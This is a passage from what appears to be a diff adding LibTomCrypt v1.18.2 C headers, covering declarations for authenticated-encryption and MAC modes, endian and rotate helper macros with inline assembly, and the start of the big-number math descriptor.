/* internal functions */
void ocb_shift_xor(ocb_state *ocb, unsigned char *Z);
int ocb_ntz(unsigned long x);
int s_ocb_done(ocb_state *ocb, const unsigned char *pt, unsigned long ptlen,
unsigned char *ct, unsigned char *tag, unsigned long *taglen, int mode);
#endif /* LTC_OCB_MODE */
#ifdef LTC_OCB3_MODE
typedef struct {
unsigned char Offset_0[MAXBLOCKSIZE], /* Offset_0 value */
Offset_current[MAXBLOCKSIZE], /* Offset_{current_block_index} value */
L_dollar[MAXBLOCKSIZE], /* L_$ value */
L_star[MAXBLOCKSIZE], /* L_* value */
L_[32][MAXBLOCKSIZE], /* L_{i} values */
tag_part[MAXBLOCKSIZE], /* intermediate result of tag calculation */
checksum[MAXBLOCKSIZE]; /* current checksum */
/* AAD related members */
unsigned char aSum_current[MAXBLOCKSIZE], /* AAD related helper variable */
aOffset_current[MAXBLOCKSIZE], /* AAD related helper variable */
adata_buffer[MAXBLOCKSIZE]; /* AAD buffer */
int adata_buffer_bytes; /* bytes in AAD buffer */
unsigned long ablock_index; /* index # for current adata (AAD) block */
symmetric_key key; /* scheduled key for cipher */
unsigned long block_index; /* index # for current data block */
int cipher, /* cipher idx */
tag_len, /* length of tag */
block_len; /* length of block */
} ocb3_state;
int ocb3_init(ocb3_state *ocb, int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
unsigned long taglen);
int ocb3_encrypt(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct);
int ocb3_decrypt(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt);
int ocb3_encrypt_last(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct);
int ocb3_decrypt_last(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt);
int ocb3_add_aad(ocb3_state *ocb, const unsigned char *aad, unsigned long aadlen);
int ocb3_done(ocb3_state *ocb, unsigned char *tag, unsigned long *taglen);
int ocb3_encrypt_authenticate_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *adata, unsigned long adatalen,
const unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen);
int ocb3_decrypt_verify_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *adata, unsigned long adatalen,
const unsigned char *ct, unsigned long ctlen,
unsigned char *pt,
const unsigned char *tag, unsigned long taglen,
int *stat);
int ocb3_test(void);
#ifdef LTC_SOURCE
/* internal helper functions */
int ocb3_int_ntz(unsigned long x);
void ocb3_int_xor_blocks(unsigned char *out, const unsigned char *block_a, const unsigned char *block_b, unsigned long block_len);
#endif /* LTC_SOURCE */
#endif /* LTC_OCB3_MODE */
#ifdef LTC_CCM_MODE
#define CCM_ENCRYPT LTC_ENCRYPT
#define CCM_DECRYPT LTC_DECRYPT
typedef struct {
symmetric_key K;
int cipher, /* which cipher */
taglen, /* length of the tag */
x; /* index in PAD */
unsigned long L, /* L value */
ptlen, /* length that will be enc / dec */
current_ptlen, /* current processed length */
aadlen, /* length of the aad */
current_aadlen, /* length of the currently provided add */
noncelen; /* length of the nonce */
unsigned char PAD[16],
ctr[16],
CTRPAD[16],
CTRlen;
} ccm_state;
int ccm_init(ccm_state *ccm, int cipher,
const unsigned char *key, int keylen, int ptlen, int taglen, int aad_len);
int ccm_reset(ccm_state *ccm);
int ccm_add_nonce(ccm_state *ccm,
const unsigned char *nonce, unsigned long noncelen);
int ccm_add_aad(ccm_state *ccm,
const unsigned char *adata, unsigned long adatalen);
int ccm_process(ccm_state *ccm,
unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
int direction);
int ccm_done(ccm_state *ccm,
unsigned char *tag, unsigned long *taglen);
int ccm_memory(int cipher,
const unsigned char *key, unsigned long keylen,
symmetric_key *uskey,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *header, unsigned long headerlen,
unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen,
int direction);
int ccm_test(void);
#endif /* LTC_CCM_MODE */
#if defined(LRW_MODE) || defined(LTC_GCM_MODE)
void gcm_gf_mult(const unsigned char *a, const unsigned char *b, unsigned char *c);
#endif
/* table shared between GCM and LRW */
#if defined(LTC_GCM_TABLES) || defined(LTC_LRW_TABLES) || ((defined(LTC_GCM_MODE) || defined(LTC_GCM_MODE)) && defined(LTC_FAST))
extern const unsigned char gcm_shift_table[];
#endif
#ifdef LTC_GCM_MODE
#define GCM_ENCRYPT LTC_ENCRYPT
#define GCM_DECRYPT LTC_DECRYPT
#define LTC_GCM_MODE_IV 0
#define LTC_GCM_MODE_AAD 1
#define LTC_GCM_MODE_TEXT 2
typedef struct {
symmetric_key K;
unsigned char H[16], /* multiplier */
X[16], /* accumulator */
Y[16], /* counter */
Y_0[16], /* initial counter */
buf[16]; /* buffer for stuff */
int cipher, /* which cipher */
ivmode, /* Which mode is the IV in? */
mode, /* mode the GCM code is in */
buflen; /* length of data in buf */
ulong64 totlen, /* 64-bit counter used for IV and AAD */
pttotlen; /* 64-bit counter for the PT */
#ifdef LTC_GCM_TABLES
unsigned char PC[16][256][16] /* 16 tables of 8x128 */
#ifdef LTC_GCM_TABLES_SSE2
__attribute__ ((aligned (16)))
#endif
;
#endif
} gcm_state;
void gcm_mult_h(gcm_state *gcm, unsigned char *I);
int gcm_init(gcm_state *gcm, int cipher,
const unsigned char *key, int keylen);
int gcm_reset(gcm_state *gcm);
int gcm_add_iv(gcm_state *gcm,
const unsigned char *IV, unsigned long IVlen);
int gcm_add_aad(gcm_state *gcm,
const unsigned char *adata, unsigned long adatalen);
int gcm_process(gcm_state *gcm,
unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
int direction);
int gcm_done(gcm_state *gcm,
unsigned char *tag, unsigned long *taglen);
int gcm_memory( int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *IV, unsigned long IVlen,
const unsigned char *adata, unsigned long adatalen,
unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen,
int direction);
int gcm_test(void);
#endif /* LTC_GCM_MODE */
#ifdef LTC_PELICAN
typedef struct pelican_state
{
symmetric_key K;
unsigned char state[16];
int buflen;
} pelican_state;
int pelican_init(pelican_state *pelmac, const unsigned char *key, unsigned long keylen);
int pelican_process(pelican_state *pelmac, const unsigned char *in, unsigned long inlen);
int pelican_done(pelican_state *pelmac, unsigned char *out);
int pelican_test(void);
int pelican_memory(const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out);
#endif
#ifdef LTC_XCBC
/* add this to "keylen" to xcbc_init to use a pure three-key XCBC MAC */
#define LTC_XCBC_PURE 0x8000UL
typedef struct {
unsigned char K[3][MAXBLOCKSIZE],
IV[MAXBLOCKSIZE];
symmetric_key key;
int cipher,
buflen,
blocksize;
} xcbc_state;
int xcbc_init(xcbc_state *xcbc, int cipher, const unsigned char *key, unsigned long keylen);
int xcbc_process(xcbc_state *xcbc, const unsigned char *in, unsigned long inlen);
int xcbc_done(xcbc_state *xcbc, unsigned char *out, unsigned long *outlen);
int xcbc_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int xcbc_memory_multi(int cipher,
const unsigned char *key, unsigned long keylen,
unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
int xcbc_file(int cipher,
const unsigned char *key, unsigned long keylen,
const char *filename,
unsigned char *out, unsigned long *outlen);
int xcbc_test(void);
#endif
#ifdef LTC_F9_MODE
typedef struct {
unsigned char akey[MAXBLOCKSIZE],
ACC[MAXBLOCKSIZE],
IV[MAXBLOCKSIZE];
symmetric_key key;
int cipher,
buflen,
keylen,
blocksize;
} f9_state;
int f9_init(f9_state *f9, int cipher, const unsigned char *key, unsigned long keylen);
int f9_process(f9_state *f9, const unsigned char *in, unsigned long inlen);
int f9_done(f9_state *f9, unsigned char *out, unsigned long *outlen);
int f9_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int f9_memory_multi(int cipher,
const unsigned char *key, unsigned long keylen,
unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
int f9_file(int cipher,
const unsigned char *key, unsigned long keylen,
const char *filename,
unsigned char *out, unsigned long *outlen);
int f9_test(void);
#endif
#ifdef LTC_CHACHA20POLY1305_MODE
typedef struct {
poly1305_state poly;
chacha_state chacha;
ulong64 aadlen;
ulong64 ctlen;
int aadflg;
} chacha20poly1305_state;
#define CHACHA20POLY1305_ENCRYPT LTC_ENCRYPT
#define CHACHA20POLY1305_DECRYPT LTC_DECRYPT
int chacha20poly1305_init(chacha20poly1305_state *st, const unsigned char *key, unsigned long keylen);
int chacha20poly1305_setiv(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen);
int chacha20poly1305_setiv_rfc7905(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen, ulong64 sequence_number);
int chacha20poly1305_add_aad(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen);
int chacha20poly1305_encrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out);
int chacha20poly1305_decrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out);
int chacha20poly1305_done(chacha20poly1305_state *st, unsigned char *tag, unsigned long *taglen);
int chacha20poly1305_memory(const unsigned char *key, unsigned long keylen,
const unsigned char *iv, unsigned long ivlen,
const unsigned char *aad, unsigned long aadlen,
const unsigned char *in, unsigned long inlen,
unsigned char *out,
unsigned char *tag, unsigned long *taglen,
int direction);
int chacha20poly1305_test(void);
#endif /* LTC_CHACHA20POLY1305_MODE */
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

446
include/tomcrypt_macros.h Normal file
View File

@ -0,0 +1,446 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- HELPER MACROS ---- */
#ifdef ENDIAN_NEUTRAL
#define STORE32L(x, y) \
do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD32L(x, y) \
do { x = ((ulong32)((y)[3] & 255)<<24) | \
((ulong32)((y)[2] & 255)<<16) | \
((ulong32)((y)[1] & 255)<<8) | \
((ulong32)((y)[0] & 255)); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#define STORE32H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
(y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
#define LOAD32H(x, y) \
do { x = ((ulong32)((y)[0] & 255)<<24) | \
((ulong32)((y)[1] & 255)<<16) | \
((ulong32)((y)[2] & 255)<<8) | \
((ulong32)((y)[3] & 255)); } while(0)
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
(((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
#elif defined(ENDIAN_LITTLE)
#ifdef LTC_HAVE_BSWAP_BUILTIN
#define STORE32H(x, y) \
do { ulong32 __t = __builtin_bswap32 ((x)); \
XMEMCPY ((y), &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY (&(x), (y), 4); \
(x) = __builtin_bswap32 ((x)); } while(0)
#elif !defined(LTC_NO_BSWAP) && (defined(INTEL_CC) || (defined(__GNUC__) && (defined(__DJGPP__) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__i386__) || defined(__x86_64__))))
#define STORE32H(x, y) \
asm __volatile__ ( \
"bswapl %0 \n\t" \
"movl %0,(%1)\n\t" \
"bswapl %0 \n\t" \
::"r"(x), "r"(y));
#define LOAD32H(x, y) \
asm __volatile__ ( \
"movl (%1),%0\n\t" \
"bswapl %0\n\t" \
:"=r"(x): "r"(y));
#else
#define STORE32H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
(y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
#define LOAD32H(x, y) \
do { x = ((ulong32)((y)[0] & 255)<<24) | \
((ulong32)((y)[1] & 255)<<16) | \
((ulong32)((y)[2] & 255)<<8) | \
((ulong32)((y)[3] & 255)); } while(0)
#endif
#ifdef LTC_HAVE_BSWAP_BUILTIN
#define STORE64H(x, y) \
do { ulong64 __t = __builtin_bswap64 ((x)); \
XMEMCPY ((y), &__t, 8); } while(0)
#define LOAD64H(x, y) \
do { XMEMCPY (&(x), (y), 8); \
(x) = __builtin_bswap64 ((x)); } while(0)
/* x86_64 processor */
#elif !defined(LTC_NO_BSWAP) && (defined(__GNUC__) && defined(__x86_64__))
#define STORE64H(x, y) \
asm __volatile__ ( \
"bswapq %0 \n\t" \
"movq %0,(%1)\n\t" \
"bswapq %0 \n\t" \
::"r"(x), "r"(y): "memory");
#define LOAD64H(x, y) \
asm __volatile__ ( \
"movq (%1),%0\n\t" \
"bswapq %0\n\t" \
:"=r"(x): "r"(y): "memory");
#else
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
(((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
#endif
#ifdef ENDIAN_32BITWORD
#define STORE32L(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32L(x, y) \
do { XMEMCPY(&(x), y, 4); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#else /* 64-bit words then */
#define STORE32L(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32L(x, y) \
do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
#define STORE64L(x, y) \
do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
#define LOAD64L(x, y) \
do { XMEMCPY(&(x), y, 8); } while(0)
#endif /* ENDIAN_64BITWORD */
#elif defined(ENDIAN_BIG)
#define STORE32L(x, y) \
do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD32L(x, y) \
do { x = ((ulong32)((y)[3] & 255)<<24) | \
((ulong32)((y)[2] & 255)<<16) | \
((ulong32)((y)[1] & 255)<<8) | \
((ulong32)((y)[0] & 255)); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48) | \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32) | \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16) | \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#ifdef ENDIAN_32BITWORD
#define STORE32H(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY(&(x), y, 4); } while(0)
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48)| \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32)| \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16)| \
(((ulong64)((y)[6] & 255))<<8)| (((ulong64)((y)[7] & 255))); } while(0)
#else /* 64-bit words then */
#define STORE32H(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
#define STORE64H(x, y) \
do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
#define LOAD64H(x, y) \
do { XMEMCPY(&(x), y, 8); } while(0)
#endif /* ENDIAN_64BITWORD */
#endif /* ENDIAN_BIG */
#define BSWAP(x) ( ((x>>24)&0x000000FFUL) | ((x<<24)&0xFF000000UL) | \
((x>>8)&0x0000FF00UL) | ((x<<8)&0x00FF0000UL) )
/* 32-bit Rotates */
#if defined(_MSC_VER)
#define LTC_ROx_ASM
/* instrinsic rotate */
#include <stdlib.h>
#pragma intrinsic(_lrotr,_lrotl)
#define ROR(x,n) _lrotr(x,n)
#define ROL(x,n) _lrotl(x,n)
#define RORc(x,n) _lrotr(x,n)
#define ROLc(x,n) _lrotl(x,n)
#elif !defined(__STRICT_ANSI__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) && !defined(INTEL_CC) && !defined(LTC_NO_ASM)
#define LTC_ROx_ASM
static inline ulong32 ROL(ulong32 word, int i)
{
asm ("roll %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
static inline ulong32 ROR(ulong32 word, int i)
{
asm ("rorl %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
#ifndef LTC_NO_ROLC
#define ROLc(word,i) ({ \
ulong32 __ROLc_tmp = (word); \
__asm__ ("roll %2, %0" : \
"=r" (__ROLc_tmp) : \
"0" (__ROLc_tmp), \
"I" (i)); \
__ROLc_tmp; \
})
#define RORc(word,i) ({ \
ulong32 __RORc_tmp = (word); \
__asm__ ("rorl %2, %0" : \
"=r" (__RORc_tmp) : \
"0" (__RORc_tmp), \
"I" (i)); \
__RORc_tmp; \
})
#else
#define ROLc ROL
#define RORc ROR
#endif
#elif !defined(__STRICT_ANSI__) && defined(LTC_PPC32)
#define LTC_ROx_ASM
static inline ulong32 ROL(ulong32 word, int i)
{
asm ("rotlw %0,%0,%2"
:"=r" (word)
:"0" (word),"r" (i));
return word;
}
static inline ulong32 ROR(ulong32 word, int i)
{
asm ("rotlw %0,%0,%2"
:"=r" (word)
:"0" (word),"r" (32-i));
return word;
}
#ifndef LTC_NO_ROLC
static inline ulong32 ROLc(ulong32 word, const int i)
{
asm ("rotlwi %0,%0,%2"
:"=r" (word)
:"0" (word),"I" (i));
return word;
}
static inline ulong32 RORc(ulong32 word, const int i)
{
asm ("rotrwi %0,%0,%2"
:"=r" (word)
:"0" (word),"I" (i));
return word;
}
#else
#define ROLc ROL
#define RORc ROR
#endif
#else
/* rotates the hard way */
#define ROL(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define ROR(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define ROLc(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define RORc(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#endif
/* 64-bit Rotates */
#if !defined(__STRICT_ANSI__) && defined(__GNUC__) && defined(__x86_64__) && !defined(_WIN64) && !defined(LTC_NO_ASM)
static inline ulong64 ROL64(ulong64 word, int i)
{
asm("rolq %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
static inline ulong64 ROR64(ulong64 word, int i)
{
asm("rorq %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
#ifndef LTC_NO_ROLC
#define ROL64c(word,i) ({ \
ulong64 __ROL64c_tmp = word; \
__asm__ ("rolq %2, %0" : \
"=r" (__ROL64c_tmp) : \
"0" (__ROL64c_tmp), \
"J" (i)); \
__ROL64c_tmp; \
})
#define ROR64c(word,i) ({ \
ulong64 __ROR64c_tmp = word; \
__asm__ ("rorq %2, %0" : \
"=r" (__ROR64c_tmp) : \
"0" (__ROR64c_tmp), \
"J" (i)); \
__ROR64c_tmp; \
})
#else /* LTC_NO_ROLC */
#define ROL64c ROL64
#define ROR64c ROR64
#endif
#else /* Not x86_64 */
#define ROL64(x, y) \
( (((x)<<((ulong64)(y)&63)) | \
(((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROR64(x, y) \
( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROL64c(x, y) \
( (((x)<<((ulong64)(y)&63)) | \
(((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROR64c(x, y) \
( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#endif
#ifndef MAX
#define MAX(x, y) ( ((x)>(y))?(x):(y) )
#endif
#ifndef MIN
#define MIN(x, y) ( ((x)<(y))?(x):(y) )
#endif
#ifndef LTC_UNUSED_PARAM
#define LTC_UNUSED_PARAM(x) (void)(x)
#endif
/* extract a byte portably */
#ifdef _MSC_VER
#define byte(x, n) ((unsigned char)((x) >> (8 * (n))))
#else
#define byte(x, n) (((x) >> (8 * (n))) & 255)
#endif
/* there is no snprintf before Visual C++ 2015 */
#if defined(_MSC_VER) && _MSC_VER < 1900
#define snprintf _snprintf
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

583
include/tomcrypt_math.h Normal file
View File

@ -0,0 +1,583 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/** math functions **/
#define LTC_MP_LT -1
#define LTC_MP_EQ 0
#define LTC_MP_GT 1
#define LTC_MP_NO 0
#define LTC_MP_YES 1
#ifndef LTC_MECC
typedef void ecc_point;
#endif
#ifndef LTC_MRSA
typedef void rsa_key;
#endif
#ifndef LTC_MILLER_RABIN_REPS
/* Number of rounds of the Miller-Rabin test
* "Reasonable values of reps are between 15 and 50." c.f. gmp doc of mpz_probab_prime_p()
* As of https://security.stackexchange.com/a/4546 we should use 40 rounds */
#define LTC_MILLER_RABIN_REPS 40
#endif
int radix_to_bin(const void *in, int radix, void *out, unsigned long *len);
/** math descriptor */
typedef struct {
/** Name of the math provider */
const char *name;
/** Bits per digit, amount of bits must fit in an unsigned long */
int bits_per_digit;
/* ---- init/deinit functions ---- */
/** initialize a bignum
@param a The number to initialize
@return CRYPT_OK on success
*/
int (*init)(void **a);
/** init copy
@param dst The number to initialize and write to
@param src The number to copy from
@return CRYPT_OK on success
*/
int (*init_copy)(void **dst, void *src);
/** deinit
@param a The number to free
@return CRYPT_OK on success
*/
void (*deinit)(void *a);
/* ---- data movement ---- */
/** negate
@param src The number to negate
@param dst The destination
@return CRYPT_OK on success
*/
int (*neg)(void *src, void *dst);
/** copy
@param src The number to copy from
@param dst The number to write to
@return CRYPT_OK on success
*/
int (*copy)(void *src, void *dst);
/* ---- trivial low level functions ---- */
/** set small constant
@param a Number to write to
@param n Source upto bits_per_digit (actually meant for very small constants)
@return CRYPT_OK on success
*/
int (*set_int)(void *a, ltc_mp_digit n);
/** get small constant
@param a Small number to read,
only fetches up to bits_per_digit from the number
@return The lower bits_per_digit of the integer (unsigned)
*/
unsigned long (*get_int)(void *a);
/** get digit n
@param a The number to read from
@param n The number of the digit to fetch
@return The bits_per_digit sized n'th digit of a
*/
ltc_mp_digit (*get_digit)(void *a, int n);
/** Get the number of digits that represent the number
@param a The number to count
@return The number of digits used to represent the number
*/
int (*get_digit_count)(void *a);
/** compare two integers
@param a The left side integer
@param b The right side integer
@return LTC_MP_LT if a < b,
LTC_MP_GT if a > b and
LTC_MP_EQ otherwise. (signed comparison)
*/
int (*compare)(void *a, void *b);
/** compare against int
@param a The left side integer
@param b The right side integer (upto bits_per_digit)
@return LTC_MP_LT if a < b,
LTC_MP_GT if a > b and
LTC_MP_EQ otherwise. (signed comparison)
*/
int (*compare_d)(void *a, ltc_mp_digit n);
/** Count the number of bits used to represent the integer
@param a The integer to count
@return The number of bits required to represent the integer
*/
int (*count_bits)(void * a);
/** Count the number of LSB bits which are zero
@param a The integer to count
@return The number of contiguous zero LSB bits
*/
int (*count_lsb_bits)(void *a);
/** Compute a power of two
@param a The integer to store the power in
@param n The power of two you want to store (a = 2^n)
@return CRYPT_OK on success
*/
int (*twoexpt)(void *a , int n);
/* ---- radix conversions ---- */
/** read ascii string
@param a The integer to store into
@param str The string to read
@param radix The radix the integer has been represented in (2-64)
@return CRYPT_OK on success
*/
int (*read_radix)(void *a, const char *str, int radix);
/** write number to string
@param a The integer to store
@param str The destination for the string
@param radix The radix the integer is to be represented in (2-64)
@return CRYPT_OK on success
*/
int (*write_radix)(void *a, char *str, int radix);
/** get size as unsigned char string
@param a The integer to get the size (when stored in array of octets)
@return The length of the integer in octets
*/
unsigned long (*unsigned_size)(void *a);
